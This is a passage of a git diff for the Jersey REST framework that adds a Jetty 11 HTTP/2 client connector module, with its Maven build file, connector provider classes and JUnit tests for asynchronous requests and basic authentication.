+    @Test
+    public void testGetProvidedClientInstance() {
+        final HttpClient httpClient = new HttpClient();
+        final ClientConfig clientConfig = new ClientConfig()
+                .connectorProvider(new JettyConnectorProvider())
+                .register(new JettyHttpClientSupplier(httpClient));
+        final Client client = ClientBuilder.newClient(clientConfig);
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
+
+        assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
+                httpClient, is(hcOnTarget));
+    }
+}
diff --git a/connectors/jetty11-http2-connector/pom.xml b/connectors/jetty11-http2-connector/pom.xml
new file mode 100644
index 0000000..c3633ed
--- /dev/null
+++ b/connectors/jetty11-http2-connector/pom.xml
@@ -0,0 +1,187 @@
+<?xml version="1.0"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.connectors</groupId>
+        <artifactId>project</artifactId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-jetty11-http2-connector</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-connectors-jetty11-http2</name>
+
+    <description>Jersey Client Transport via Jetty 11</description>
+
+    <properties>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
+        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
+        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+    </properties>
+
+    <dependencyManagement>
+        <dependencies>
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-server</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-client</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-util</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty.http2</groupId>
+                <artifactId>http2-server</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-alpn-conscrypt-server</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty.http2</groupId>
+                <artifactId>http2-client</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty.http2</groupId>
+                <artifactId>http2-http-client-transport</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+        </dependencies>
+    </dependencyManagement>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-client</artifactId>
+            <version>${jetty11.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>http2-client</artifactId>
+            <version>${jetty11.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>http2-http-client-transport</artifactId>
+            <version>${jetty11.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-util</artifactId>
+            <version>${jetty11.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jetty11-connector</artifactId>
+            <version>${project.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-client</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-jaxb</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty11-http2</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>http2-server</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-jetty11-http2</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+            <dependency>
+                <groupId>com.sun.xml.bind</groupId>
+                <artifactId>jaxb-osgi</artifactId>
+                <scope>test</scope>
+            </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jetty.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+
+</project>
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
similarity index 78%
rename from connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
rename to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
index 6275727..454efd0 100644
--- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,12 +16,13 @@
 
 package org.glassfish.jersey.jetty.http2.connector;
 
-import jakarta.ws.rs.ProcessingException;
 import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
 import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
 import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
 
 /**
  * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
@@ -40,17 +41,15 @@
     /**
      * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
      * to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param http2Client seed doc for JDK 11+.
+     * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
      */
     public JettyHttp2ClientSupplier(HttpClient http2Client) {
         this.http2Client = http2Client;
     }
 
     private static final HttpClient createHttp2Client() {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK 1.8
+        final HttpClientTransport transport =  new HttpClientTransportOverHTTP2(new HTTP2Client());
+        return new HttpClient(transport);
     }
 
     @Override
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
similarity index 100%
rename from connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
rename to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 0000000..02eaf5a
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        return new JettyHttp2Connector(client, runtimeConfig);
+    }
+
+    public static HttpClient getHttpClient(Configurable<?> component) {
+        if (!(component instanceof Initializable)) {
+            throw new IllegalArgumentException(
+                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+        }
+
+        final Initializable<?> initializable = (Initializable<?>) component;
+        Connector connector = initializable.getConfiguration().getConnector();
+        if (connector == null) {
+            initializable.preInitialize();
+            connector = initializable.getConfiguration().getConnector();
+        }
+
+        if (connector instanceof JettyHttp2Connector) {
+            return ((JettyHttp2Connector) connector).getHttpClient();
+        }
+
+        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+    }
+}
\ No newline at end of file
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
similarity index 72%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
index dd25372..960bbb6 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,8 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
+ * Jetty Client.
+ */
+package org.glassfish.jersey.jetty.http2.connector;
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
similarity index 64%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
index 2886c72..b219ef9 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -14,5 +14,8 @@
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
 
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+# {0} - HTTP method, e.g. GET, DELETE
+method.not.supported=Method {0} not supported.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from Jersey11Client or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a Jetty11ConnectorProvider.
+not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
new file mode 100644
index 0000000..76ef67b
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AsyncTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
+    private static final String PATH = "async";
+
+    /**
+     * Asynchronous test resource.
+     */
+    @Path(PATH)
+    public static class AsyncResource {
+        /**
+         * Typical long-running operation duration.
+         */
+        public static final long OPERATION_DURATION = 1000;
+
+        /**
+         * Long-running asynchronous post.
+         *
+         * @param asyncResponse async response.
+         * @param id            post request id (received as request payload).
+         */
+        @POST
+        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
+            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(OPERATION_DURATION);
+                        return "DONE-" + id;
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        return "INTERRUPTED-" + id;
+                    } finally {
+                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
+                    }
+                }
+            }, "async-post-runner-" + id).start();
+        }
+
+        /**
+         * Long-running async get request that times out.
+         *
+         * @param asyncResponse async response.
+         */
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+                            .entity("Operation time out.").build());
+                }
+            });
+            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
+            asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+                    .entity("Operation time out.").build());
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
+                    // simulated using sleep()
+                    try {
+                        Thread.sleep(5 * OPERATION_DURATION);
+                        return "DONE";
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        return "INTERRUPTED";
+                    } finally {
+                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
+                    }
+                }
+            }).start();
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(AsyncResource.class)
+                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    /**
+     * Test asynchronous POST.
+     *
+     * Send 3 async POST requests and wait to receive the responses. Check the response content and
+     * assert that the operation did not take more than twice as long as a single long operation duration
+     * (this ensures async request execution).
+     *
+     * @throws Exception in case of a test error.
+     */
+    @Test
+    public void testAsyncPost() throws Exception {
+        final long tic = System.currentTimeMillis();
+
+        // Submit requests asynchronously.
+        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
+        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
+        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
+        // get() waits for the response
+        final String r1 = rf1.get().readEntity(String.class);
+        final String r2 = rf2.get().readEntity(String.class);
+        final String r3 = rf3.get().readEntity(String.class);
+
+        final long toc = System.currentTimeMillis();
+
+        assertEquals("DONE-1", r1);
+        assertEquals("DONE-2", r2);
+        assertEquals("DONE-3", r3);
+
+        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
+    }
+
+    /**
+     * Test accessing an operation that times out on the server.
+     *
+     * @throws Exception in case of a test error.
+     */
+    @Test
+    public void testAsyncGetWithTimeout() throws Exception {
+        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
new file mode 100644
index 0000000..5daad2d
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AuthFilterTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testAuthGetWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testAuthPostWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+
+    @Test
+    public void testAuthDeleteWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().delete();
+        assertEquals(204, response.getStatus());
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
new file mode 100644
index 0000000..7fe2edf
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class AuthTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+    private static final String PATH = "test";
+
+    @Path("/test")
+    @Singleton
+    public static class AuthResource {
+
+        int requestCount = 0;
+
+        @GET
+        public String get(@Context HttpHeaders h) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+
+            return "GET";
+        }
+
+        @GET
+        @Path("filter")
+        public String getFilter(@Context HttpHeaders h) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return "GET";
+        }
+
+        @POST
+        public String post(@Context HttpHeaders h, String e) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+
+            return e;
+        }
+
+        @POST
+        @Path("filter")
+        public String postFilter(@Context HttpHeaders h, String e) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return e;
+        }
+
+        @DELETE
+        public void delete(@Context HttpHeaders h) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+        }
+
+        @DELETE
+        @Path("filter")
+        public void deleteFilter(@Context HttpHeaders h) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+        }
+
+        @DELETE
+        @Path("filter/withEntity")
+        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return e;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testAuthGet() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testAuthPost() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testAuthDelete() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().delete();
+        assertEquals(response.getStatus(), 204);
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
new file mode 100644
index 0000000..eb1c653
